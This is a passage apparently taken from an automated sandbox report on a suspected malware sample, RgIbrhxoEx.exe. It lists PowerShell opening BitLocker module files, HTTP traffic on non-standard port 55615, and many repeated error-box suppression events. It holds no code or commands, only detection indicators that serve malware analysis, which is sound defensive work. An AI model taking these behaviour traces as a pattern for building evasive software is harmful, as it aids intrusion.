Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49718

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
